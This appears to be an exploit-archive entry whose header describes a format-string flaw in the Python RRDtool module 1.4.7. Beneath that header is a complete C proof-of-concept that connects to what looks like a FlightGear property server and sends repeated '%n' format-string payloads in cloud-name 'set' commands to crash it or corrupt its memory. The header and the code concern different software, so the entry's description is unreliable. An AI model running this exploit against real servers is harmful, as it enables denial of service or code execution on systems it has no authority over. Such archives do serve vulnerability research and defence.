Python RRDtool Module – Function Format String
/* source: https://www.securityfocus.com/bid/60004/info The RRDtool module for Python is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input. An attacker may exploit this issue to execute arbitrary code within the context of the affected application or to crash the application. RRDtool 1.4.7 is affected; other versions may also be vulnerable. */ #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <stdarg.h> #include <string.h> #define DFLTHOST "www.example.com" #define DFLTPORT 5501 #define MAXMSG 256 #define fgfsclose close void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port); int fgfswrite(int sock, char *msg, ...); const char *fgfsread(int sock, int wait); void fgfsflush(int sock); int fgfswrite(int sock, char *msg, ...) { va_list va; ssize_t len; char buf[MAXMSG]; va_start(va, msg); vsnprintf(buf, MAXMSG - 2, msg, va); va_end(va); printf("SEND: \t<%s>\n", buf); strcat(buf, "\015\012"); len = write(sock, buf, strlen(buf)); if (len < 0) { perror("fgfswrite"); exit(EXIT_FAILURE); } return len; } const char *fgfsread(int sock, int timeout) { static char buf[MAXMSG]; char *p; fd_set ready; struct timeval tv; ssize_t len; FD_ZERO(&ready); FD_SET(sock, &ready); tv.tv_sec = timeout; tv.tv_usec = 0; if (!select(32, &ready, 0, 0, &tv)) return NULL; len = read(sock, buf, MAXMSG - 1); if (len < 0) { perror("fgfsread"); exit(EXIT_FAILURE); } if (len == 0) return NULL; for (p = &buf[len - 1]; p >= buf; p--) if (*p != '\015' && *p != '\012') break; *++p = '\0'; return strlen(buf) ? buf : NULL; } void fgfsflush(int sock) { const char *p; while ((p = fgfsread(sock, 0)) != NULL) { printf("IGNORE: \t<%s>\n", p); } } int fgfsconnect(const char *hostname, const int port) { struct sockaddr_in serv_addr; struct hostent *hostinfo; int sock; sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) { perror("fgfsconnect/socket"); return -1; } hostinfo = gethostbyname(hostname); if (hostinfo == NULL) { fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname); close(sock); return -2; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr; if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { perror("fgfsconnect/connect"); close(sock); return -3; } return sock; } int main(int argc, char **argv) { int sock; unsigned port; const char *hostname, *p; int i; hostname = argc > 1 ? argv[1] : DFLTHOST; port = argc > 2 ? atoi(argv[2]) : DFLTPORT; sock = fgfsconnect(hostname, port); if (sock < 0) return EXIT_FAILURE; fgfswrite(sock, "data"); fgfswrite(sock, "set /sim/rendering/clouds3d-enable true"); fgfswrite(sock, "set /environment/clouds"); for (i=0; i < 5; i++) { fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i); fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i); fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i); fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i); fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i); } p = fgfsread(sock, 3); if (p != NULL) printf("READ: \t<%s>\n", p); for (i=0; i < 5; i++) { fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i); fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i); fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i); } p = fgfsread(sock, 3); if (p != NULL) printf("READ: \t<%s>\n", p); fgfswrite(sock, "quit"); fgfsclose(sock); return EXIT_SUCCESS; } |